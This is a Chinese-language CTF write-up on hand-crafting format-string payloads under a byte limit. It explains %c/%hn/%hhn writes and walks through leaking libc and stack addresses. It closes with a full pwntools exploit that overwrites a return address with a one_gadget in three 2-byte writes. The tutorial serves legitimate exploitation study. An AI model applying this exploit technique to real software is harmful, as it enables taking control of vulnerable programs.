一、手动构造前置知识
像上次总结的格式化字符串漏洞的题都是能够溢出大量字节,因此能够使用pwntools的工具来自动生成payload
https://blog.csdn.net/weixin_66751120/article/details/136025172?spm=1001.2014.3001.5502
但是如果题目给到了字节限制,使payload链所占字节非常有限,不足以装下自动生成的,那么就需要我们去手动构造payload,在正式了解手动构造之前可以通过上面链接回顾一下格式化字符串漏洞的知识,并且需要特别注意三个格式化字符。这是手动构造的关键。
%c - 字符 - 输出字符
%hhn - 写1字节
%hn - 写2字节
这里要注意一个h是以两个字节的方式写入,一般使用这个可以更省字节。
二、例题
接下来通过这道例题来开始学习如何手动构造及一些新知识。
一般在main函数中看到fmt就很有可能是存在格式化字符串漏洞的函数。
查保护
保护全开,程序主体是一个while的循环,当我们输入1就会来到可以利用的格式化字符串漏洞,同时这道题没有后门且存在地址随机化,可以通过接受libc地址,来使用one_gadget,只要输入一循环就一定存在,但是可以试一下使用fmtstr的工具
这里看到发送字节远远超出读入,同时留意一下右侧自动生成的格式化字符串,手动构造就是仿照它的。这里先把错误原因放出来,然后下面从头写。
测得偏移为8
由于是循环所以可以多次利用格式化字符串漏洞,第一部当然是通过gdb调试找到可以使用的libc函数地址以及一个栈地址,
这里通过泄露偏移为8处的信息来确定下面的libc_start_main和下面的栈地址,然后就可以接受并利用了。
接下来是找到一个one_gadget可以使用fmt或者main的返回地址来修改为one_gadget,但是不能用printf因为存在字节限制我们不能一次修改完全,所以每次循环时将会返回无效地址,所以要先找到三个返回地址,printf的si进入printf函数就可以找到,由于这里是fmt函数,这个栈也是fmt函数的,所以rbp下面紧跟着的就是fmt函数的返回地址,而libc_start_main就是main函数的返回地址,通过我们接受到的地址,与gdb中地址所固定的偏移就可以得到。
接下来就是重点,由于%hn只能以两字节读入所以我们需要三次,先看第一次
pay=(b'%'+str(one_gadget&0xffff).encode()+b'c%13$hn').ljust(0x28,b'\x00')+p64(stack2)
< %数字c%数字$hn >把第一个数字的字节以两个字节的形式读入在第二个数字处。第二个数字就是后面p64()中将被修改的地址的偏移。
那么第一个数字就是one_gadget的两个字节,因为只能一次改两个字节,所以这里用了&运算符。
效果如下:
然后补全为0x28字节是因为再加后面地址就是0x30方便计算
分别是printf前后fmt返回地址的变化,已经修改成功了,至于13怎么得到,可以看修改前返回地址距离偏移8的距离,或者计算8+(6-1)(补齐为了0x28,gdb中显示的一个栈地址是8位所以是5)然后是修改中间两位,这里普及一点>>运算符右移,效果如下:
右移16位也就是2字节
但是只是这样还不够,为了方便看,gdb中把8个地址省略为了1个,也就是说一个地址对应一个字节,而我们修改的是中间两个字节,所以要把所要修改的地址加2到中间两字节的位置。
pay=(b'%'+str(one_gadget>>16&0xffff).encode()+b'c%13$hn').ljust(0x28,b'\x00')+p64(stack2+2)
所以第三次就是加4,三次之后就修改成了,之后要发送一个不是1的东西,跳出循环,使fmt函数返回。
完整exp如下:
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
elf=ELF('./pwn1')
p = process("./pwn1")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def bug():
gdb.attach(p)
pause()
p.sendline(b'1')
p.recvuntil(b'lbs,lbs,lbs')
pay=b'%45$p%47$p'
p.send(pay)
p.recvuntil(b'0x')
libc_base=int(p.recv(12),16)-243-libc.sym['__libc_start_main']
print(hex(libc_base))
p.recvuntil(b'0x')
stack=int(p.recv(12),16)
print(hex(stack))
stack1=stack-560 #printf
stack2=stack-256 #fmt
stack3=stack2+0x10#main
one_gadget=0xe3b01+libc_base
print(hex(one_gadget))
print(hex(one_gadget&0xffff))
print(hex(one_gadget>>16&0xffff))
print(hex(one_gadget>>32&0xffff))
p.sendline(b'1')
p.recvuntil(b'lbs,lbs,lbs')
pay=(b'%'+str(one_gadget&0xffff).encode()+b'c%13$hn').ljust(0x28,b'\x00')+p64(stack2)
#bug()
p.send(pay)
p.sendline(b'1')
p.recvuntil(b'lbs,lbs,lbs')
pay=(b'%'+str(one_gadget>>16&0xffff).encode()+b'c%13$hn').ljust(0x28,b'\x00')+p64(stack2+2)
#pause()
p.send(pay)
p.sendline(b'1')
p.recvuntil(b'lbs,lbs,lbs')
pay=(b'%'+str(one_gadget>>32).encode()+b'c%13$hn').ljust(0x28,b'\x00')+p64(stack2+4)
#pause()
p.send(pay)
#pause()
p.sendline(b'6')
p.interactive()
使用main返回地址时将其中的stack2改为3即可,效果相同,可以使用gdb调试验证。